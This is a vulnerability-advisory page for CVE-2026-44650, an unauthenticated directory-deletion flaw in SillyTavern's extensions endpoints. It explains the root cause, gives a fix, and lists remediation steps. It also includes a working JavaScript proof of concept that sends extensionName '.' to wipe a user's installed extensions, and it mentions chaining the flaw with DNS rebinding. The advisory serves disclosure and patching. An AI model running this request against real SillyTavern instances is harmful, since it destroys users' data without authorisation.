Skip to main content

SillyTavern CVE-2026-44650

| EUVDEUVD-2026-33404 CRITICAL
Path Traversal (CWE-22)
2026-05-12 https://github.com/SillyTavern/SillyTavern GHSA-886q-f44j-h6wh
9.1
CVSS 3.1 · Vendor: https://github.com/SillyTavern/SillyTavern
Share

Severity by source

Vendor (https://github.com/SillyTavern/SillyTavern) PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
vuln.today AI
9.1 CRITICAL

Default config needs no auth (PR:N) and a single low-complexity network request (AV:N/AC:L); impact is destructive deletion of extensions (I:H/A:H) with no data disclosure (C:N).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/SillyTavern/SillyTavern).

CVSS VectorVendor: https://github.com/SillyTavern/SillyTavern

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 19:09 vuln.today
Analysis Generated
Jul 23, 2026 - 19:09 vuln.today
CVE Published
May 12, 2026 - 22:23 nvd
CRITICAL 9.1

DescriptionCVE.org

Summary

POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration.

Affected File

src/endpoints/extensions.js (last modified: commit 3ad9b05e2)

Root Cause

The validation check occurs before sanitization:

javascript
// [1] "." is truthy - passes the check
if (!request.body.extensionName) {
    return response.status(400).send('Bad Request');
}

// [2] sanitize(".")  →  ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions"  ← basePath itself!

// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });

sanitize-filename converts "." to "" (documented behavior). path.join(basePath, "") returns basePath itself. Result: the entire data\default-user\extensions\ directory is deleted.

Proof of Concept

Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e Authentication: none (basicAuthMode: false, default configuration)

Run in browser console (F12) while SillyTavern is open:

javascript
async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();

Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []

Impact

  • No authentication required (basicAuthMode: false by default).

Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request.

  • All installed third-party extensions are unrecoverably lost.
  • With global: true and admin privileges, the global extensions directory

shared across all users can also be deleted.

  • This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to

enable unauthenticated remote exploitation from a malicious website.

Same Pattern in Other Endpoints

The same vulnerability exists in:

  • POST /api/extensions/update
  • POST /api/extensions/version
  • POST /api/extensions/branches
  • POST /api/extensions/switch

Suggested Fix

javascript
const sanitized = sanitize(extensionName);

// Check AFTER sanitizing
if (!sanitized) {
    return response.status(400).send('Bad Request: Invalid extension name.');
}

const extensionPath = path.join(basePath, sanitized);

// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
    return response.status(400).send('Bad Request: Invalid extension path.');
}

Apply the same fix to /update, /version, /branches, and /switch endpoints.

References

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
  • sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
  • Related CVE (same project): CVE-2025-59159

##REPORTED BY Jormungandr

AnalysisAI

Unauthenticated directory deletion in SillyTavern versions <= 1.17.0 lets remote attackers wipe a user's entire extensions directory by sending 'extensionName' value of '.' to the POST /api/extensions/delete endpoint. Because the truthiness check runs before sanitize-filename (which collapses '.' to an empty string), path.join resolves back to the extensions base directory itself and fs.rm recursively deletes it. A working proof-of-concept exists and no authentication is needed in the default configuration (basicAuthMode: false), though EPSS scores this at just 0.08% and it is not on the CISA KEV list - no public exploit identified as actively exploited at time of analysis.

Technical ContextAI

SillyTavern is a self-hosted Node.js/Express front-end for large language model chat, distributed via npm (pkg:npm/sillytavern). The flaw lives in src/endpoints/extensions.js and is a classic CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) manifesting as arbitrary directory deletion. The root cause is ordering: the handler validates that request.body.extensionName is truthy, then passes it to the sanitize-filename npm package. Per that library's documented behavior, sanitize('.') returns an empty string, and Node's path.join(basePath, '') returns basePath unchanged. The subsequent fs.promises.rm(extensionPath, { recursive: true }) therefore targets the extensions base directory (e.g. data/default-user/extensions) rather than a child of it. The same before-sanitize validation pattern is reported to affect the /update, /version, /branches, and /switch endpoints.

RemediationAI

Vendor-released patch: upgrade to SillyTavern 1.18.0 or later, which corrects the validation ordering (release notes: https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0; advisory: https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh). If immediate upgrade is not possible, restrict network exposure by binding SillyTavern to localhost only and enabling basic authentication (basicAuthMode: true) so the endpoint is not reachable unauthenticated - the trade-off is that remote/shared access then requires credentials. Because the exploit can be chained with DNS rebinding (CVE-2025-59159), also configure the private-address whitelist and forwarded-IP header controls introduced in 1.18.0, and place the instance behind an authenticating reverse proxy. As a data-safety compensating control, back up the data/*/extensions directories so a successful deletion is recoverable; note this does not prevent the deletion, only limits its permanence.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

CVE-2026-44650 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy